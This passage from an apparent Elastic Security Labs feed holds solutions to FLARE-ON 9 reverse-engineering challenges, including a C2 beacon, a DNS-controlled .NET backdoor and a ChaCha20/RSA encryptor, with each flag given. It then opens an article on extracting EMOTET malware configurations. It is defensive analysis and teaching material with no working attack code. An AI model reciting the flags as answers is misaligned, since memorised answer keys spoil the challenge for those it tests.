<pre><code>arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]&quot;&quot;.join([chr(0xC3 - c) for c in arr])
</code></pre>
<p>Using the current input we can retrieve the flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image60.png" alt="" /></p>
<p><strong>Flag:</strong> i<em>w0uld_l1k3_to_RETurn_this</em><a href="mailto:joke@flare-on.com">joke@flare-on.com</a></p>
<h2>Challenge 5 - “T8”</h2>
<blockquote>
<p>FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?</p>
</blockquote>
<h3>Solution</h3>
<p>For this challenge, we’ve been provided with a PCAP in addition to a binary.</p>
<h4>PCAP file overview</h4>
<p>The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image99.jpg" alt="" /></p>
<h4>Binary overview</h4>
<p>This binary appears to be written in C++ or implement classes in a similar way.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image53.jpg" alt="" /></p>
<p>If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image49.jpg" alt="" /></p>
<p>Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image34.jpg" alt="" /></p>
<p>The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.</p>
<p>Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9&lt;5DIGITS&gt;”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image77.jpg" alt="" /></p>
<p>Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image17.jpg" alt="" /></p>
<p><strong>Flag:</strong> i<em>s33</em><a href="mailto:you_m00n@flare-on.com">you_m00n@flare-on.com</a></p>
<h2>Challenge 6 - “à la mode”</h2>
<blockquote>
<p>FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image74.jpg" alt="" /></p>
<p>The chat log offers a clue that another (missing) component may interact with the DLL.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image46.jpg" alt="" /></p>
<p>Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image38.jpg" alt="" /></p>
<p>Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image91.jpg" alt="" /></p>
<p>Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image92.jpg" alt="" /></p>
<p>After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image96.jpg" alt="" /></p>
<p>This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image90.jpg" alt="" /></p>
<p>With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image45.jpg" alt="" /></p>
<p><strong>Flag:</strong> M1x3d<em>M0dE</em><a href="mailto:4_l1f3@flare-on.com">4_l1f3@flare-on.com</a></p>
<h2>Challenge 7 - “anode”</h2>
<blockquote>
<p>You've made it so far! I can't believe it! And so many people are ahead of you!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>Conveniently (but not helpfully), we see it when we search strings.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image70.jpg" alt="" /></p>
<p>We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image1.jpg" alt="" /></p>
<p>This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image25.jpg" alt="" /></p>
<p>That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image16.jpg" alt="" /></p>
<p>Curiously, when submitting the same bad flag using the packed binary, the error is different.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>If we comment the condition out to bypass that validation, we get another new error.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image41.jpg" alt="" /></p>
<p>Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image36.jpg" alt="" /></p>
<p>And the result of that state machine operation is evaluated against the correct flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image14.jpg" alt="" /></p>
<p>But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.</p>
<p>We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image35.jpg" alt="" /></p>
<p>We also dump the sequence of states using the same method.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image93.jpg" alt="" /></p>
<p>Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image21.jpg" alt="" /></p>
<p>We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the <a href="https://github.com/int3/pyesprima">pyesprima</a> frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image18.jpg" alt="" /></p>
<p>Next, we then visit the AST and collect each subtree associated to a switch case node.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image61.jpg" alt="" /></p>
<p>For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image19.jpg" alt="" /></p>
<p>Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image69.jpg" alt="" /></p>
<p>Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image22.jpg" alt="" /></p>
<p>But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!</p>
<p>There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is &gt; 0 and if(xn) always returns false if the number contains a zero!</p>
<p>So with this in mind, we fixed the predicates in the script before running the deobfuscator again.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image80.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image100.jpg" alt="" /></p>
<p>This looks like our obfuscated script.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image63.jpg" alt="" /></p>
<p>Let’s reverse this obfuscation.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image37.jpg" alt="" /></p>
<p>The final inverted script with “target” as the initial flag looks like this:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image54.jpg" alt="" /></p>
<p><em>Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.</em></p>
<p>Running the script ends up producing an array.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image47.jpg" alt="" /></p>
<p><strong>Flag:</strong> n0t<em>ju5t_A_j4vaSCriP7</em><a href="mailto:ch4l1eng3@flare-on.com">ch4l1eng3@flare-on.com</a></p>
<h2>Challenge 8 - “Backdoor”</h2>
<blockquote>
<p>I'm such a backdoor, decompile me why don't you…</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image76.jpg" alt="" /></p>
<p>We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p>But when we turned to look at their flared_yy counterparts, something's not quite right.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image33.jpg" alt="" /></p>
<p>In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.</p>
<p>Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.</p>
<p>The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image95.jpg" alt="" /></p>
<p>Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image43.jpg" alt="" /></p>
<p>After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.</p>
<p>We can create a script to do that in Python.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image52.jpg" alt="" /></p>
<p>After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.</p>
<p>The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image81.jpg" alt="" /></p>
<p>The IL patching is somewhat complicated this time and involves a little obfuscation.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image39.jpg" alt="" /></p>
<p>The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image94.jpg" alt="" /></p>
<p>We wrote a script to do the patching automatically and run it each time we add a new hash.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image84.jpg" alt="" /></p>
<p>At this point most of the functions are deobfuscated and we can move on to the core of the challenge.</p>
<p>Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image50.jpg" alt="" /></p>
<p>The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.</p>
<p>How this worked, we were about to learn, is a little complicated.</p>
<p>The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:</p>
<p>When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image59.jpg" alt="" /></p>
<p>The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image7.jpg" alt="" /></p>
<p>This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image79.jpg" alt="" /></p>
<p>This function is triggered each time an element is deleted from the value array.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image48.jpg" alt="" /></p>
<p>We can expect something to happen once the right conditions are met, and endeavor to contrive them.</p>
<p>First, we generated a list of all possible IP address values. Then we configured <a href="https://github.com/Crypt0s/FakeDns">FakeDns</a> to resolve *.flare-on.com to that value list.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image44.jpg" alt="" /></p>
<p>Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image62.jpg" alt="" /></p>
<p>*<em>Flag: *_W3_4re_Known_f0r</em><a href="mailto:b31ng_Dyn4m1c@flare-on.com">b31ng_Dyn4m1c@flare-on.com</a></p>
<h2>Challenge 9 - “encryptor”</h2>
<blockquote>
<p>You're really crushing it to get this far. This is probably the end for you. Better luck next year!</p>
</blockquote>
<h3>Solution</h3>
<p>For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image66.jpg" alt="" /></p>
<p>Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image83.jpg" alt="" /></p>
<p>When the binary is executed, it helpfully indicates a path is expected as an argument.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image29.jpg" alt="" /></p>
<p>But nothing happens when a random file is chosen, so a less random file must be what we need.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image42.jpg" alt="" /></p>
<p>We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image3.jpg" alt="" /></p>
<p>Let’s try again with a random file that uses that specific file extension.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image6.jpg" alt="" /></p>
<p>And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image56.jpg" alt="" /></p>
<p>Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image5.jpg" alt="" /></p>
<p><em>We need that key.</em></p>
<p>On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.</p>
<p>We need to generate prime numbers for two variables, p and q.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image11.jpg" alt="" /></p>
<p>We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image57.jpg" alt="" /></p>
<p>And we’re going to need a value phi, which is equal to (p-1)*(q-1).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image67.jpg" alt="" /></p>
<p>We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image89.jpg" alt="" /></p>
<p>Finally, we have an operation that produces the secret key d using phi and the exponent e.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image86.jpg" alt="" /></p>
<p>Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image15.jpg" alt="" /></p>
<p>We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image26.jpg" alt="" /></p>
<p>The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image32.jpg" alt="" /></p>
<p>The key can be decrypted with a little python.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image51.jpg" alt="" /></p>
<p>And we’re one step closer.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image101.jpg" alt="" /></p>
<p>By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image28.jpg" alt="" /></p>
<p>*<em>Flag: *_R$A</em>$16n1n6<em>15_0pp0$17e</em><a href="mailto:0f_3ncryp710n@flare-on.com">0f_3ncryp710n@flare-on.com</a></p>
<h2>Challenge 10 - The Karaoke Labyrinth</h2>
<p>Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.</p>
<h2>Challenge 11 - “The challenge that shall not be named”</h2>
<blockquote>
<p>Protection, Obfuscation, Restrictions... Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.</p>
</blockquote>
<h3>Solution</h3>
<p>This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image65.jpg" alt="" /></p>
<p>“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found <a href="https://github.com/extremecoders-re/pyinstxtractor">tools</a> to extract python compiled in this way, and we pulled out a few python files.</p>
<p>One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image24.jpg" alt="" /></p>
<p>That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image10.jpg" alt="" /></p>
<p>When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image58.jpg" alt="" /></p>
<p>*<em>Flag: *_Pyth0n_Prot3ction_tuRn3d_Up</em><a href="mailto:t0_11@flare-on.com">t0_11@flare-on.com</a></p>
<h2>Conclusion</h2>
<p>For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.</p>
<p>For those who have waited patiently for a link to scripts, <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2d75d12507c1a14d/636e8b687c54010b136bf9ec/flare-on_9_scripts.zip">here you go</a>.</p>
<h4>Acknowledgements</h4>
<p>We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/illustration-endpoint-security-stop-malware-1284x926.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[EMOTET Dynamic Configuration Extraction]]></title>
            <link>https://www.elastic.co/es/security-labs/emotet-dynamic-configuration-extraction</link>
            <guid>emotet-dynamic-configuration-extraction</guid>
            <pubDate>Thu, 01 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs discusses the EMOTET trojan and is releasing a tool to dynamically extract configuration files using code emulators.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The EMOTET developers have changed the way they encode their configuration in the 64bit version of the malware.</li>
<li>Using code emulation we can bypass multiple code obfuscation techniques.</li>
<li>The use of code emulators in config extractors will become more prevalent in the future.</li>
</ul>
<blockquote>
<p>To download the EMOTET configuration extractor, check out our post on the tool:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/emotet-configuration-extractor">EMOTET configuration extractor</a></li>
</ul>
</blockquote>
<h2>Preamble</h2>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet">EMOTET</a> family broke onto the malware scene as a <a href="https://web.archive.org/web/20140701001622/https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/">modular banking trojan in 2014</a>, focused on harvesting and exfiltrating bank account information by inspecting traffic. EMOTET has been adapted as an early-stage implant used to load other malware families, such as <a href="https://www.elastic.co/es/security-labs/exploring-the-qbot-attack-pattern">QAKBOT</a>, <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Trickbot.yar">TRICKBOT</a>, and <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Ransomware_Ryuk.yar">RYUK</a>. While multiple EMOTET campaigns have been dismantled by international law enforcement entities, it has continued to operate as one of the most prolific cybercrime operations.</p>
<p>For the last several months, Elastic Security has observed the EMOTET developers <a href="https://twitter.com/Cryptolaemus1/status/1516261512372965383?ref_src=twsrc%5Etfw">transition</a> to a 64-bit version of their malware. While this change does not seem to impact the core functionality of the samples we have witnessed, we did notice a change in how the configuration and strings are obfuscated. In earlier versions of EMOTET, the configuration was stored in an encrypted form in the <strong>.data</strong> section of the binary. In the newer versions the configuration is calculated at runtime. The information we need to extract the configuration from the binary is thus hidden within the actual code.</p>
<p>In the next sections, we’ll discuss the following as it relates to 64-bit EMOTET samples:</p>
<ul>
<li>EMOTET encryption mechanisms</li>
<li>Reviewing the EMOTET C2 list</li>
<li>Interesting EMOTET strings</li>
<li>The EMOTET configuration extractor utility</li>
</ul>
<h2>Encryption keys</h2>
<p>EMOTET uses embedded <a href="https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/">Elliptic Curve Cryptography</a> (ECC) public keys to encrypt their network communication. While in previous versions, the keys would be stored in an XOR-encrypted blob, now the content is calculated at runtime.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image14.jpg" alt="Encoded Encryption Key blob in 64-bit version" /></p>
<p>In comparison the previous versions of EMOTET would store an encrypted version of the key data in the . <strong>text</strong> section of the binary.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image10.jpg" alt="Embedded key data in previous version of the malware" /></p>
<p>In order to make it harder for security researchers to find the given code the malware uses <a href="https://www.usenix.org/conference/usenixsecurity21/presentation/liu-binbin">Mixed Boolean-Arithmetic</a> (MBA) as one of its obfuscation techniques. It transforms constants and simple expressions into expressions that contain a mix of Boolean and arithmetic operations.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image6.jpg" alt="Example of Mixed Boolean-Arithmetic" /></p>
<p>In this example, an array of constants is instantiated, but looking at the assembly we see that every constant is calculated at runtime. This method makes it challenging to develop a signature to target this function.</p>
<p>We noticed that both the <a href="https://cryptobook.nakov.com/asymmetric-key-ciphers/ecdh-key-exchange">Elliptic Curve Diffie-Hellman</a> (ECDH) and <a href="https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages">Elliptic Curve Digital Signature Algorithm</a> (ECDSA) keys use the same function to decode the contents.</p>
<p>The ECDH key (which you can recognize by its magic ECK1 bytes) is used for encryption purposes while the ECDSA key (ECC1) is used for verifying the C2 server's responses.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image4.jpg" alt="ECK1 magic bytes at the start of the key data" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-dynamic-configuration-extraction/image11.jpg" alt="Decoding algorithm for the key material" /></p>
<p>By leveraging a YARA signature to find the location of this decode function within the EMOTET binary we can observe the following process:</p>
<ol>
<li>Find the decoding algorithm within the binary.</li>
<li>Locate any Cross References (<a href="https://hex-rays.com/blog/igor-tip-of-the-week-16-cross-references/">Xrefs</a>) to the decoding function.</li>
<li>Emulate the function that calls the decoding function.</li>
<li>Read the resulting data from memory.</li>
</ol>
